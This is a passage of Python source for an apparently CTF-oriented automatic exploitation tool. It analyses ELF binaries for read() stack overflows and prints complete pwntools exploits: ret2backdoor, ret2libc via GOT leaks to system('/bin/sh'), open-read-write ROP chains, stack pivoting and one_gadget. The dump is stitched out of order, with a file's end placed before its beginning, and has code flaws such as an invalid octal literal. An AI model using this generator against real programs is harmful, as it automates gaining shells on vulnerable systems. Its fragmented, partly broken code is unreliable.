Hierarchical_list[Hierarchical].append(addr) 243 | sorted(list(Hierarchical_list.keys()), reverse=True) 244 | return Hierarchical 245 | 246 | 247 | def Hierarchical_function_lookup(addr, file_os): 248 | if file_os == 18: 249 | push_rbp = u32(elf.read(addr, 1).ljust(4, b'\x00')) 250 | # 0X55=PUSH RBP 251 | if push_rbp == 0x55: 252 | Hierarchical_list[addr].append(addr) 253 | elif file_os == 20: 254 | endbr64 = u32(elf.read(addr, 4).ljust(4, b'\x00')) 255 | # 0xFA1E0FF3=endbr64 256 | if endbr64 == 0xFA1E0FF3: 257 | Hierarchical_list[addr].append(addr) 258 | 259 | 260 | overturn_Hierarchical_list = defaultdict(list) 261 | 262 | 263 | def overturn_Hierarchical(): 264 | for key, values in list(Hierarchical_list.items()): 265 | for value in values: 266 | overturn_Hierarchical_list[value].append(key) 267 | 268 | 269 | def remove_non_alphanumeric_and_leading_zeros(s): 270 | sign = b'-' if s.startswith(b'-') else b'' 271 | alphanumeric_str = re.sub(br'[^a-zA-Z0-9-+]', b'', s) 272 | leading_zeros_removed_str = re.sub(br'^[-+]?0+(?=\d|$)', b'', alphanumeric_str) 273 | return sign + leading_zeros_removed_str if (leading_zeros_removed_str and (sign or leading_zeros_removed_str != b'0')) else b'0' 274 | 275 | # 获取read的rsi rdx,rsi获取是最近特征爆搜,rdx是大小数组差值特征 276 | 277 | 278 | def solve_read(elf, addr, file_name, file_os): 279 | # 定义临时的列表存放read调用点和mov_edx__xx的差值 280 | tmp_list = [] 281 | # find mov_edx_xx 282 | mov_edx_xx = elf.search(b'\xBA') 283 | mov_edx_xx_addr = np.array(list(mov_edx_xx)) 284 | # Stack_migration_address (lea rax, [rbp+buf]) 285 | Stack_migration_address = 0 286 | for address in mov_edx_xx_addr: 287 | sub = addr - address 288 | if sub > 0: 289 | tmp_list.append(sub) 290 | # 找到最近的edx(也就是rdx)的赋值机器码必然就是当前read的赋值 291 | tmp_addr = addr - min(tmp_list) 292 | # 获取rdx 293 | rdx = u64(elf.read(tmp_addr, 5)[1:4].ljust(8, b'\x00')) 294 | print(("[+]rdx:" + hex(rdx))) 295 | # 获取rsi 检测两个特征 296 | tmp_chek = u32(elf.read(tmp_addr - 4, 3).ljust(4, b'\x00')) 297 | # 分大小数据,大于0x100和小于0x100的 298 | if tmp_chek == 0x458D48: 299 | rsi = 0x100 - u32(elf.read(tmp_addr - 4, 4)[3:4].ljust(4, b'\x00')) 300 | Stack_migration_address = tmp_addr - 4 301 | else: 302 | tmp_chek = u32(elf.read(tmp_addr - 7, 3).ljust(4, b'\x00')) 303 | if tmp_chek == 0x858D48: 304 | rsi = 0x100000000 - \ 305 | u64(elf.read(tmp_addr - 7, 7)[3:].ljust(8, b'\x00')) 306 | Stack_migration_address = tmp_addr - 7 307 | print(("[+]rsi:" + hex(rsi))) 308 | # rsi 0: 314 | print("[+]自动化探索可行路径如下:") 315 | # 倒转全局链,从main到溢出点 316 | for chains in chain: 317 | # 逆序调用链从mian到overflow 318 | chains.reverse() 319 | for index in chains: 320 | print(((hex(index))), end=' ') 321 | if index == overturn_Hierarchical_list[addr][0]: 322 | print("") 323 | else: 324 | print((' -> '), end=' ') 325 | # angr符号执行分析链上所有点位的进入逻辑 326 | if auto_flag: 327 | for index in chain: 328 | for i in range(1, len(index)): 329 | start_addr = index[i - 1] 330 | end_addr = User_Function[index[i - 1]] 331 | target_addr = overturn_Call_list[index[i]] 332 | if mode == '2': 333 | auto_pwn_result_list.append( 334 | fuzz2.find_input_strings( 335 | file_name, 336 | int(start_addr), 337 | int(end_addr), 338 | int(target_addr), 339 | 1024,file_os)) 340 | auto_pwn_result_list.append(fuzz2.find_input_strings(file_name, int(overturn_Hierarchical_list[addr][0]), int( 341 | User_Function[overturn_Hierarchical_list[addr][0]]), int(addr), 1024,file_os)) 342 | elif mode == '1': 343 | auto_pwn_result_list.append( 344 | fuzz.find_input_strings( 345 | file_name, 346 | int(start_addr), 347 | int(end_addr), 348 | int(target_addr), 349 | 1024,file_os)) 350 | auto_pwn_result_list.append(fuzz.find_input_strings(file_name, int(overturn_Hierarchical_list[addr][0]), int( 351 | User_Function[overturn_Hierarchical_list[addr][0]]), int(addr), 1024,file_os)) 352 | global auto_pwn_result_list_fix 353 | auto_pwn_result_list_fix = [ 354 | x for sublist in auto_pwn_result_list for x in sublist if x != b''] 355 | auto_pwn_result_list_fix = [ 356 | x for item in auto_pwn_result_list_fix for x in ( 357 | item if isinstance( 358 | item, list) else [item])] 359 | print("[+]All need:", auto_pwn_result_list_fix) 360 | auto_success = True 361 | # 优化特殊结果:such as -0+0066556 362 | auto_pwn_result_list_fix = [remove_non_alphanumeric_and_leading_zeros( 363 | item) for item in auto_pwn_result_list_fix] 364 | print(auto_pwn_result_list_fix) 365 | solve_read_overflow( 366 | addr, 367 | rsi, 368 | rdx, 369 | file_name, 370 | file_os, 371 | Stack_migration_address, 372 | True, 373 | remote) 374 | else: 375 | auto_success = False 376 | solve_read_overflow( 377 | addr, 378 | rsi, 379 | rdx, 380 | file_name, 381 | file_os, 382 | Stack_migration_address, 383 | auto_success, 384 | remote) 385 | else: 386 | print("[+]路径探索失败,但是我依然可以给你提供参考EXP!") 387 | auto_success = False 388 | # 生成模板 389 | solve_read_overflow( 390 | addr, 391 | rsi, 392 | rdx, 393 | file_name, 394 | file_os, 395 | Stack_migration_address, 396 | auto_success, 397 | remote) 398 | 399 | 400 | def solve_read_overflow( 401 | addr, 402 | rsi, 403 | rdx, 404 | file_name, 405 | file_os, 406 | Stack_migration_address, 407 | auto_success, 408 | remote): 409 | system = False 410 | system_be_called = [] 411 | sub = rdx - rsi 412 | strs = '' 413 | elf = ELF(file_name) 414 | # 最基础的rop链构造puts(got)ret2libc&ret2backdoor 415 | if sub > 0x28: 416 | # 翻转call_list 查询system的调用点 417 | # Hierarchical_list的key和value分别是call地址和这个call所属最近函数 418 | # call_list的key和value分别是call地址和函数名 419 | # 通过翻转代入到Hierarchical_list可以得知system的最近所属也就是后门地址 420 | # strs_addr是执行内容,直接用机器码距离特征加相对地址计算解决 421 | overturn_Call_list = dict( 422 | list(zip(list(Call_list.values()), list(Call_list.keys())))) 423 | overturn_Call_list = dict( 424 | list(zip(list(Call_list.values()), list(Call_list.keys())))) 425 | for function in list(overturn_Call_list.keys()): 426 | if function == 'system': 427 | system = True 428 | system_be_called.append( 429 | overturn_Hierarchical_list[overturn_Call_list[function]]) 430 | strs_addr = u64(elf.read(overturn_Call_list[function] - 7, 7)[ 431 | 3:].ljust(8, b'\x00')) + (overturn_Call_list[function]) 432 | strs = elf.read(strs_addr, 0x10).split(b'\x00') 433 | elif function == 'execve': 434 | system = True 435 | system_be_called.append( 436 | overturn_Hierarchical_list[overturn_Call_list[function]]) 437 | # ret2backdoor exp 438 | if system: 439 | for i in range(len(system_be_called)): 440 | print(("[+]Found system(execve) be called by function:" + 441 | hex(system_be_called[i][0]) + 442 | " and system(xx) is " + 443 | str(strs[0]))) 444 | if i == 0: 445 | print("[+]Now i will give u an easy exp about ret2backdoor") 446 | print("") 447 | # ubuntu18 need add one return to Stack balancing 448 | if elf.canary == False and elf.pie != True: 449 | ret = next(elf.search(asm("ret"))) 450 | 451 | print("#encoding=utf-8") 452 | if file_os: 453 | print("#如果是Ubuntu20-22下的system利用其中的ret看具体情况要不要去掉") 454 | print("from pwn import *") 455 | print("context(log_level='debug',arch='amd64')") 456 | print(("elf=ELF(" + "'" + file_name + "'" + ")")) 457 | print(("r=process(" + "'" + file_name + "'" + ")")) 458 | with open('output.txt', 'w') as f: 459 | if remote=='remote': 460 | sys.stdout = f 461 | if auto_success: 462 | for i in auto_pwn_result_list_fix: 463 | print("r.recv(timeout=1)") 464 | print("r.sendline(" + str(i) + ")") 465 | print(("payload=" + "b'a'*" + hex(rsi + 8) + "+p64(" + 466 | hex(ret) + ")" + "+p64(" + hex(system_be_called[i][0]) + ")")) 467 | print("r.send(payload)") 468 | print("r.sendline('cat flag')") 469 | print("r.interactive()") 470 | exit(0) 471 | elif elf.canary and elf.pie != True: 472 | ret = next(elf.search(asm("ret"))) 473 | print("#encoding=utf-8") 474 | if file_os: 475 | print("#如果是Ubuntu20-22下的system利用其中的ret看具体情况要不要去掉") 476 | print("from pwn import *") 477 | print("context(log_level='debug',arch='amd64')") 478 | print(("elf=ELF(" + "'" + file_name + "'" + ")")) 479 | print("#由于canary可能涉及复杂逻辑,需要用户自行泄露,模板只帮计算溢出模板") 480 | print(("r=process(" + "'" + file_name + "'" + ")")) 481 | with open('output.txt', 'w') as f: 482 | if remote=='remote': 483 | sys.stdout = f 484 | if auto_success: 485 | for i in auto_pwn_result_list_fix: 486 | print("r.recv(timeout=1)") 487 | print("r.sendline(" + str(i) + ")") 488 | print(("payload=" + 489 | "b'a'*" + 490 | hex(rsi - 491 | 8) + 492 | "+p64(canary)+b'a'*8" + 493 | "+p64(" + 494 | hex(ret) + 495 | ")" + 496 | "+p64(" + 497 | hex(system_be_called[i][0]) + 498 | ")")) 499 | print("r.send(payload)") 500 | print("r.sendline('cat flag')") 501 | print("r.interactive()") 502 | exit(0) 503 | # ret2libc & orw 504 | if not system: 505 | print("[+]Now i will give u two exp about orw or system getshell") 506 | print("") 507 | if not elf.pie: 508 | rdi = next(elf.search(asm("pop rdi;ret"))) 509 | pop_rsi_r15_ret = next(elf.search(asm("pop rsi;pop r15;ret"))) 510 | ret = next(elf.search(asm("ret"))) 511 | bss_addr = elf.get_section_by_name('.bss').header.sh_addr 512 | 513 | print("#encoding=utf-8") 514 | print("#canary涉及相关的逻辑操作,若有canary请自己泄露") 515 | if file_os == 20: 516 | print("#如果是Ubuntu20-22下的system利用其中的ret看具体情况要不要去掉") 517 | print("#ubuntu-18 ret2libc system or orw") 518 | print("from pwn import *") 519 | print("context(log_level='debug',arch='amd64')") 520 | print(("elf=ELF(" + "'" + file_name + "'" + ")")) 521 | print("libc=elf.libc") 522 | print(("r=process(" + "'" + file_name + "'" + ")")) 523 | with open('output.txt', 'w') as f: 524 | if remote =='remote': 525 | sys.stdout = f 526 | print("r.recv(timeout=1)") 527 | print(("rdi=" + hex(rdi))) 528 | print("rdx=next(libc.search(asm('pop rdx;ret')))") 529 | print(("pop_rsi_r15_ret=" + hex(pop_rsi_r15_ret))) 530 | print(("ret=" + hex(ret))) 531 | print(("Hierarchical=" + 532 | hex(overturn_Hierarchical_list[addr][0]))) 533 | if auto_success: 534 | for i in auto_pwn_result_list_fix: 535 | print("r.recv(timeout=1)") 536 | print("r.sendline(" + str(i) + ")") 537 | if 'puts' in Function_Name: 538 | print("puts_got=elf.got['puts']") 539 | print("puts_plt=elf.plt['puts']") 540 | if elf.canary: 541 | print(("payload=b'a'*" + hex(rsi - 8) + 542 | "+p64(canary)+b'a'*8+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(Hierarchical)")) 543 | else: 544 | print(("payload=b'a'*" + hex(rsi + 8) + 545 | "+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(Hierarchical)")) 546 | print("r.send(payload)") 547 | print( 548 | "leak=u64(r.recvuntil(b'\\x7f')[-6:].ljust(8,b'\\x00'))") 549 | print("base=leak-libc.sym['puts']") 550 | elif 'write' in Function_Name and 'puts' not in Function_Name: 551 | print("write_got=elf.got['write']") 552 | print("write_plt=elf.plt['write']") 553 | if elf.canary: 554 | print(("payload=b'a'*" + hex(rsi - 8) + 555 | "+p64(canary)+b'a'*8+p64(rdi)+p64(1)+p64(pop_rsi_r15_ret)+p64(write_got)+p64(0)+p64(write_plt)+p64(Hierarchical)")) 556 | else: 557 | print(("payload=b'a'*" + hex(rsi + 8) + 558 | "+p64(rdi)+p64(1)+p64(pop_rsi_r15_ret)+p64(write_got)+p64(0)+p64(write_plt)+p64(Hierarchical)")) 559 | print("r.send(payload)") 560 | print( 561 | "leak=u64(r.recvuntil(b'\\x7f')[-6:].ljust(8,b'\\x00'))") 562 | print("base=leak-libc.sym['write']") 563 | if 'prctl' not in Function_Name: 564 | print("sh=base+next(libc.search(b'/bin/sh'))") 565 | print("system=base+libc.sym['system']") 566 | if elf.canary: 567 | print(("payload2=b'a'*" + hex(rsi - 8) + 568 | "+p64(canary)+b'a'*8+p64(rdi)+p64(sh)+p64(ret)+p64(system)+p64(Hierarchical)")) 569 | else: 570 | print(("payload2=b'a'*" + hex(rsi + 8) + 571 | "+p64(rdi)+p64(sh)+p64(ret)+p64(system)+p64(Hierarchical)")) 572 | print("r.send(payload2)") 573 | elif 'prctl' in Function_Name: 574 | print("the_open=base+libc.sym['open']") 575 | print("the_write=base+libc.sym['write']") 576 | print("the_read=base+libc.sym['read']") 577 | print(("bss=" + hex(bss_addr + 0x300))) 578 | print("rdx=base+rdx") 579 | if elf.canary: 580 | print(("payload2=b'a'*" + hex(rsi - 8) + 581 | "+p64(canary)+b'a'*8+p64(rdi)+p64(0)+p64(pop_rsi_r15_ret)+p64(bss)+p64(0)+p64(rdx)+p64(0x200)+p64(the_read)+p64(Hierarchical)")) 582 | else: 583 | print(("payload2=b'a'*" + hex(rsi + 8) + 584 | "+p64(rdi)+p64(0)+p64(pop_rsi_r15_ret)+p64(bss)+p64(0)+p64(rdx)+p64(0x200)+p64(the_read)+p64(Hierarchical)")) 585 | print("r.send(payload2)") 586 | print("sleep(1)") 587 | print("r.send('flag\x00/')") 588 | if elf.canary: 589 | print(("payload3=b'a'*" + hex(rsi - 8) + 590 | "+p64(canary)+b'a'*8+p64(rdi)+p64(bss)+p64(pop_rsi_r15_ret)+p64(0o664)+p64(0)+p64(the_open)")) 591 | else: 592 | print(("payload3=b'a'*" + hex(rsi + 8) + 593 | "+p64(rdi)+p64(bss)+p64(pop_rsi_r15_ret)+p64(0664)+p64(0)+p64(the_open)")) 594 | print( 595 | "payload3+=p64(rdi)+p64(3)+p64(pop_rsi_r15_ret)+p64(bss)+p64(0)+p64(rdx)+p64(0x200)+p64(the_read)") 596 | print( 597 | "payload3+=p64(rdi)+p64(1)+p64(pop_rsi_r15_ret)+p64(bss)+p64(0)+p64(the_write)") 598 | print("r.send(payload3)") 599 | print("r.sendline('cat flag')") 600 | print("r.interactive()") 601 | exit(0) 602 | if sub == 0x10: 603 | rdi = next(elf.search(asm("pop rdi;ret"))) 604 | pop_rsi_r15_ret = next(elf.search(asm("pop rsi;pop r15;ret"))) 605 | ret = next(elf.search(asm("ret"))) 606 | bss_addr = elf.get_section_by_name('.bss').header.sh_addr 607 | 608 | print("#encoding=utf-8") 609 | print("#开始生成栈迁移模板") 610 | print("#canary涉及相关的逻辑操作,若有canary请自己泄露") 611 | if file_os == 20: 612 | print("#如果是Ubuntu20-22下的system利用其中的ret看具体情况要不要去掉") 613 | print("#ubuntu-18 ret2libc system or orw") 614 | print("from pwn import *") 615 | print("context(log_level='debug',arch='amd64')") 616 | print(("elf=ELF(" + "'" + file_name + "'" + ")")) 617 | print("libc=elf.libc") 618 | print(("r=process(" + "'" + file_name + "'" + ")")) 619 | with open('output.txt', 'w') as f: 620 | if remote=='remote': 621 | sys.stdout = f 622 | print("r.recv(timeout=1)") 623 | print(("rdi=" + hex(rdi))) 624 | print("rdx=next(libc.search(asm('pop rdx;ret')))") 625 | print(("pop_rsi_r15_ret=" + hex(pop_rsi_r15_ret))) 626 | print(("ret=" + hex(ret))) 627 | print(("Hierarchical=" + hex(overturn_Hierarchical_list[addr][0]))) 628 | print(("Stack_migration_address=" + hex(Stack_migration_address))) 629 | print(("bss=" + hex(bss_addr))) 630 | print(("offset=" + hex(rsi))) 631 | if auto_success: 632 | for i in auto_pwn_result_list_fix: 633 | if len(i) > 0: 634 | for j in i: 635 | print("r.recv(timeout=1)") 636 | print("r.sendline(" + str(j) + ")") 637 | if 'puts' in Function_Name: 638 | print("puts_got=elf.got['puts']") 639 | print("puts_plt=elf.plt['puts']") 640 | print(("payload=b'a'*" + hex(rsi) + 641 | "+p64(bss+0x300)+p64(Stack_migration_address)")) 642 | print("r.send(payload)") 643 | print("sleep(1)") 644 | print(("payload=b'a'*" + hex(rsi) + 645 | "+p64(bss+0x300+offset)+p64(Stack_migration_address)")) 646 | print("r.send(payload)") 647 | print("sleep(1)") 648 | print( 649 | "payload2=p64(bss+0x300+offset+0x10)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(Stack_migration_address)") 650 | print("r.send(payload2)") 651 | print("sleep(1)") 652 | print("leak=u64(r.recvuntil(b'\\x7f')[-6:].ljust(8,b'\\x00'))") 653 | print("base=leak-libc.sym['puts']") 654 | print("print('[+]base:'+hex(base))") 655 | print("'''") 656 | print("#onegadget自己选择,我这里会提供非常多的onegadget") 657 | cmd = os.popen("one_gadget " + 658 | str(elf.libc).split("'")[1] + 659 | " --level 1") 660 | onegadgets = cmd.read() # 利用管道获取onegadgets 661 | print(onegadgets) 662 | print("'''") 663 | print("one=base+your_choice_onegadget") 664 | print("payload3=p64(0)*4+p64(one)") 665 | print("r.send(payload3)") 666 | print("r.sendline('cat flag')") 667 | print("r.interactive()") 668 | exit(1) 669 | 670 | 671 | def solve_call(elf, file_name, file_os): 672 | for call_addr in list(Call_list.keys()): 673 | call_what = Call_list[call_addr] 674 | if str(call_what) == 'read': 675 | solve_read(elf, call_addr, file_name, file_os) 676 | 677 | 678 | # 查找用户编写的函数 679 | def get_all_user_func(elf, file_name, file_os): 680 | # Ubuntu18 函数头是push rbp 681 | if file_os == 18: 682 | tmp_sub = [] 683 | push_rbp = elf.search(asm("push rbp;")) 684 | push_rbp_addr = np.array(list(push_rbp)) 685 | leave_ret = elf.search(asm("leave;ret;")) 686 | pop_rbp_ret = elf.search(asm("pop rbp;ret;")) 687 | pop_rbp_ret_list = np.array(list(pop_rbp_ret)) 688 | leave_ret_list = np.array(list(leave_ret)) 689 | ret_addr = np.concatenate([pop_rbp_ret_list, leave_ret_list]) 690 | if file_os == 18: 691 | for i in push_rbp_addr: 692 | for j in ret_addr: 693 | a = int(j - i) 694 | if a > 0: 695 | tmp_sub.append(a) 696 | # 查询获取的头上面是不是ret,或者jmp(第一个函数的头前面是jmp,其他的都是ret) 697 | if tmp_sub: 698 | check = u32(elf.read(i - 1, 1).ljust(4, b'\x00')) 699 | check1 = u32(elf.read(i - 2, 1).ljust(4, b'\x00')) 700 | # 如果是,则把最近的尾做为字典的value,头做key 701 | if check == 0xC3 or check1 == 0xEB: 702 | User_Function[i] = min(tmp_sub) + i + 1 703 | # 清空临时差值列表 704 | tmp_sub = [] 705 | 706 | # Ubuntu20的开头是这个endbr64,其他原来一模一样的 707 | else: 708 | tmp_sub = [] 709 | push_rbp = elf.search(asm("endbr64;")) 710 | push_rbp_addr = np.array(list(push_rbp)) 711 | leave_ret = elf.search(asm("leave;ret;")) 712 | pop_rbp_ret = elf.search(asm("pop rbp;ret;")) 713 | pop_rbp_ret_list = np.array(list(pop_rbp_ret)) 714 | leave_ret_list = np.array(list(leave_ret)) 715 | ret_addr = np.concatenate([pop_rbp_ret_list, leave_ret_list]) 716 | if file_os == 20: 717 | for i in push_rbp_addr: 718 | for j in ret_addr: 719 | a = int(j - i) 720 | if a > 0: 721 | tmp_sub.append(a) 722 | # 查询获取的头上面是不是ret,或者jmp(第一个函数的头前面是jmp,其他的都是ret) 723 | if tmp_sub: 724 | check = u32(elf.read(i - 1, 1).ljust(4, b'\x00')) 725 | check1 = u32(elf.read(i - 2, 1).ljust(4, b'\x00')) 726 | # 如果是,则把最近的尾做为字典的value,头做key 727 | if check == 0xC3 or check1 == 0xEB: 728 | User_Function[i] = min(tmp_sub) + i 729 | # 清空临时差值列表 730 | tmp_sub = [] 731 | 732 | 733 | def banner(): 734 | banner = ''' 735 | ████████ ██ ██ ████████ ████████ 736 | ░██░░░░░ ░██ ░██░░░░░░██ ░░░░░░██ 737 | ░██ ░██ ░██ ██ ██ 738 | ░███████ ░██ ░██ ██ ██ 739 | ░██░░░░ ░██ ░██ ██ ██ 740 | ░██ ░██ ░██ ██ ██ 741 | ░██ ░░███████ ████████ ████████ 742 | ░░ ░░░░░░░ ░░░░░░░░ ░░░░░░░░ 743 | 744 | ——Powered By HRP 745 | 746 | ''' 747 | print(banner) 748 | 749 | 750 | start_address = 0 751 | end_address = 0 752 | auto_flag = False 753 | auto_success = False 754 | auto = "" 755 | auto_pwn_result_list = [] 756 | auto_pwn_result_list_fix = [] 757 | remote = '' 758 | mode = '' 759 | if __name__ == '__main__': 760 | banner() 761 | # 设置日志级别为 WARNING,以减少输出 762 | logging.disable(logging.WARNING) 763 | 764 | loads_function_list() 765 | 766 | if len(sys.argv) < 2: 767 | print("[+]please input file name!") 768 | exit(0) 769 | try: 770 | file_name = sys.argv[1] # 外部获取文件名 771 | try: 772 | auto = sys.argv[2] 773 | remote = sys.argv[3] 774 | mode = sys.argv[4] 775 | except BaseException: 776 | auto_flag = False 777 | if auto == "auto": 778 | auto_flag = True 779 | print(auto_flag) 780 | if remote == "remote": 781 | remote ='remote' 782 | elf = ELF(file_name) 783 | start_address = elf.get_section_by_name('.text').header.sh_addr 784 | end_address = start_address + \ 785 | elf.get_section_by_name('.text').header.sh_size 786 | if elf.arch == 'i386': 787 | print("[+]WE DO NOT SUPPORT I386 BINARY!") 788 | exit(0) 789 | except Exception as e: 790 | print("[+]Usage:python3 HRP-FUZZ-2.0.py ./filepath ") 791 | else: 792 | canary = elf.canary 793 | search_call_what(elf, file_name, sys.argv) 794 | finally: 795 | pass 796 | -------------------------------------------------------------------------------- /AUTO-PWN/remote_auto/remote_auto_pwn/HRP-FUZZ-2.0.py: -------------------------------------------------------------------------------- 1 | # encoding=utf-8 2 | # 导入主要函数库 3 | from pwn import * 4 | import pwnlib 5 | import numpy as np 6 | import os 7 | import sys 8 | import logging 9 | import fuzz2 10 | import fuzz 11 | # 初始化设置为debug模式和设置elf架构 12 | context(os='linux', arch='amd64') 13 | 14 | # 自定义审查函数名 15 | Function_Name = {} # key是函数名,value是函数地址 16 | # 定义call字典 17 | Call_list = {} # Call_list的key是call 调用点,value是被调用函数的地址 18 | # 定义主函数地址 19 | main_addr = 0 20 | # 用户自定义函数判断被call判断字典 21 | User_Function = {} 22 | # 读取自定义审查函数文件 23 | 24 | 25 | def loads_function_list(): 26 | try: 27 | with open('./function_list', 'r') as f: 28 | for line in f: 29 | line = line.replace('\n', '') 30 | Function_Name[line] = 0 31 | except Exception as e: 32 | print(e) 33 | exit(1) 34 | 35 | 36 | # 利用pwntools获取elf文件中的程序地址 37 | printogram_base = 0 38 | 39 | 40 | def get_addr(elf, file_os): # 用pwntools搜素我们需要的库函数,如果是Ubuntu20需要进行-4定位到真正在汇编中的调用地址 41 | # 程序基地址 42 | global printogram_base 43 | printogram_base = elf.address 44 | print(('[+]printogram_base:' + hex(printogram_base))) 45 | global eh_frame_addr 46 | eh_frame_addr = elf.get_section_by_name('.eh_frame').header.sh_addr 47 | global start_offset 48 | start_offset = elf.header.e_entry 49 | offset = elf.read(start_offset, 0x40).find(b'\x48\xc7\xc7') # mov rdi,? 50 | global main_addr 51 | main_addr = u32(elf.read(start_offset + offset + 3, 4)) 52 | print(('[+]eh_frame_addr:' + hex(eh_frame_addr))) 53 | print(('[+]start_offset:' + hex(start_offset))) 54 | print(('[+]main_addr:' + hex(main_addr))) 55 | print("") 56 | for item in list(Function_Name.keys()): 57 | try: 58 | # 查询Ubuntu18 59 | if file_os == 18: 60 | Function_Name[item] = (elf.sym[item]) 61 | print(("[+]Found " + str(item) + 62 | " address:" + hex(Function_Name[item]))) 63 | # 查询Ubuntu20-22编译的程序地址-4 64 | if file_os == 20: 65 | Function_Name[item] = (elf.sym[item]) - 4 66 | print(("[+]Found " + str(item) + 67 | " address:" + hex(Function_Name[item]))) 68 | except Exception as e: 69 | # 找不到就弹出这个字典 70 | Function_Name.pop(item) 71 | 72 | # 查找都call了哪些函数 73 | 74 | 75 | def search_call_what(elf, file_name, argv): 76 | cmd = os.popen("strings ./" + file_name + " | grep GCC") 77 | found_file_os = cmd.read() # 利用管道获取GCC查询结果获取系统版本 78 | print(("[+]Found file_os ing..." + found_file_os)) 79 | # 个人目前总结分析,glibc2.23-2.27 2.31-2.35分2大类特征 80 | if "18.04" in found_file_os: 81 | file_os = 18 82 | os_16_flag = 0 83 | elif "16.04" in found_file_os: 84 | file_os = 18 85 | os_16_flag = 1 86 | elif "20.04" in found_file_os: 87 | file_os = 20 88 | os_16_flag = 0 89 | elif "20.04" in found_file_os: 90 | file_os = 20 91 | os_16_flag = 0 92 | elif "22.04" in found_file_os: 93 | file_os = 20 94 | os_16_flag = 0 95 | else: 96 | print( 97 | "[+]MAYBE YOU BUILD YOUR BINARY IN OTHER OS,BUT WE DO NOT SUPPORT TO CHECK IT ,SORRY!") 98 | exit(0) 99 | get_addr(elf, file_os) 100 | print("") 101 | # print("Finding Call") 102 | # 利用pwntools查询call指令的机器码字节E8 103 | call = elf.search(b'\xE8') 104 | # 利用numpy把list变成array 105 | call_addr = np.array(list(call)) 106 | # 计算长度 107 | call_len = len(call_addr) 108 | # 获取相对地址 109 | for i in range(call_len): 110 | # 获取call xx中xx到这条call指令的相对地址 111 | Relative_address = ( 112 | u64(elf.read(int(call_addr[i]), 5)[1:5].ljust(8, b'\x00'))) 113 | # 地址总和上限就是0xffffffff,还要减去操作数据(也就是相对地址)的站位长度 114 | Relative_len = 0xffffffff - Relative_address - 4 115 | for item in list(Function_Name.keys()): 116 | # 获取库函数在ELF的地址 117 | tmp_addr = Function_Name[item] 118 | # 如果plt地址+正相对地址等于call指令地址 则判断为call plt 119 | maybe_addr = tmp_addr + Relative_len 120 | if (maybe_addr == call_addr[i]): 121 | Call_list[call_addr[i]] = item 122 | 123 | # 获取所有用户定义的函数头和尾 124 | get_all_user_func(elf, file_name, file_os) 125 | 126 | # 上面的没做完善,只是进行了审查列表的求解,下面是所有call xx的求解 127 | for i in call_addr: 128 | # 截取相对地址最后一位判断正负 129 | plus_minus = (u64(elf.read(int(i), 5)[4:5].ljust(8, b'\x00'))) 130 | if plus_minus == 0xff: 131 | Relative_address = ( 132 | u64(elf.read(int(i), 5)[1:5].ljust(8, b'\x00'))) 133 | Relative_len = 0xffffffff - Relative_address - 4 134 | for item in list(User_Function.keys()): 135 | tmp_addr = item 136 | maybe_addr = tmp_addr + Relative_len 137 | if (maybe_addr == i): 138 | Call_list[i] = item 139 | else: 140 | Relative_address = ( 141 | u64(elf.read(int(i), 5)[1:5].ljust(8, b'\x00'))) 142 | Relative_len = Relative_address 143 | for item in list(User_Function.keys()): 144 | maybe_addr = Relative_len + i + 5 145 | if (maybe_addr == item): 146 | Call_list[i] = item 147 | # 打印call列表 148 | for item in list(Call_list.keys()): 149 | # print("[+] "+hex(item)+" call:"), 150 | if isinstance(Call_list[item], str): 151 | pass 152 | # print((Call_list[item])) 153 | else: 154 | pass 155 | # print(hex(Call_list[item])) 156 | 157 | # 这个函数非常重要,是寻找所有的call所属的函数定位 158 | Hierarchical = Hierarchical_call_lookup(item, file_os) 159 | # print("[+] "+hex(item)+" Hierarchical call:"+hex(Hierarchical)) 160 | # print("") 161 | 162 | # 这个的实现主要是补全callback功能 使得用户可以从函数头和call调用点去层层回调找到调用链 163 | for item in User_Function: 164 | Hierarchical_function_lookup(item, file_os) 165 | 166 | try: 167 | if argv[2] == "--callback": 168 | print("[+]自动化路径如下(main->addr):") 169 | addr = int(argv[3], 16) 170 | addrs = np.int64(addr) 171 | recursive_search_call_chain(addrs, []) 172 | for chains in chain: 173 | chains.reverse() 174 | for index in chains: 175 | print(((hex(index))), end=' ') 176 | if index == addrs: 177 | print("") 178 | else: 179 | print((' -> '), end=' ') 180 | exit(0) 181 | except Exception as e: 182 | pass 183 | 184 | overturn_Hierarchical() 185 | solve_call(elf, file_name, file_os) 186 | 187 | 188 | # 递归搜索调用链 189 | chain = [] 190 | # Call_list的key是call 调用点,value是被调用函数的地址 191 | # Hierarchical_list的key是push rbp也就是每个函数的头,value是call调用点 192 | # 我们先从溢出点传入for循环查找到溢出点的rbp 193 | # 然后把这个rbp假定为被别的函数调用了,让Call_list去for循环比对找到rbp的被调用点 194 | # 如此循环往复,在到达默认深度结束以后就会给出完整的一条或者多条调用链 195 | # 这个处理还是有小部分问题无法识别解决,我摆烂了 196 | 197 | 198 | def recursive_search_call_chain(address, current_chain): 199 | try: 200 | for i in Hierarchical_list: 201 | for j in Hierarchical_list[i]: 202 | if j == address: 203 | current_chain.append((i)) 204 | tmp = i 205 | for y in Call_list: 206 | a = Call_list[y] 207 | if isinstance(a, str): 208 | continue 209 | if a == tmp: 210 | recursive_search_call_chain( 211 | y, current_chain) # 递归调用,将当前的调用点添加到调用链中 212 | current_chain.pop() # 从调用链中移除当前的调用点 213 | if main_addr in current_chain[:]: 214 | chain.append(current_chain[:]) 215 | except Exception as e: 216 | print(e) 217 | print("无法探测调用链") 218 | exit(0) 219 | 220 | # raw_input() 221 | 222 | 223 | # 定义全局层级调用字典 224 | Hierarchical_list = defaultdict(list) 225 | 226 | 227 | def Hierarchical_call_lookup(addr, file_os): 228 | tmp_list = [] 229 | # search mov_rbp_rsp 把addr与最近的mov_rbp_rsp相加-x就可以得到该addr被哪个函数调用 230 | mov_rbp_rsp = elf.search(b'\x48\x89\xe5') 231 | mov_rbp_rsp_addr = np.array(list(mov_rbp_rsp)) 232 | for address in mov_rbp_rsp_addr: 233 | sub = addr - address 234 | if sub > 0: 235 | tmp_list.append(sub) 236 | if file_os == 18: 237 | Hierarchical = addr - min(tmp_list) - 1 238 | # ubuntu20-22多了个endbr64 need sub 5 239 | else: 240 | Hierarchical = addr - min(tmp_list) - 5 241 | # Hierarchical_list[函数头]=call xxx 242 | Hierarchical_list[Hierarchical].append(addr) 243 | sorted(list(Hierarchical_list.keys()), reverse=True) 244 | return Hierarchical 245 | 246 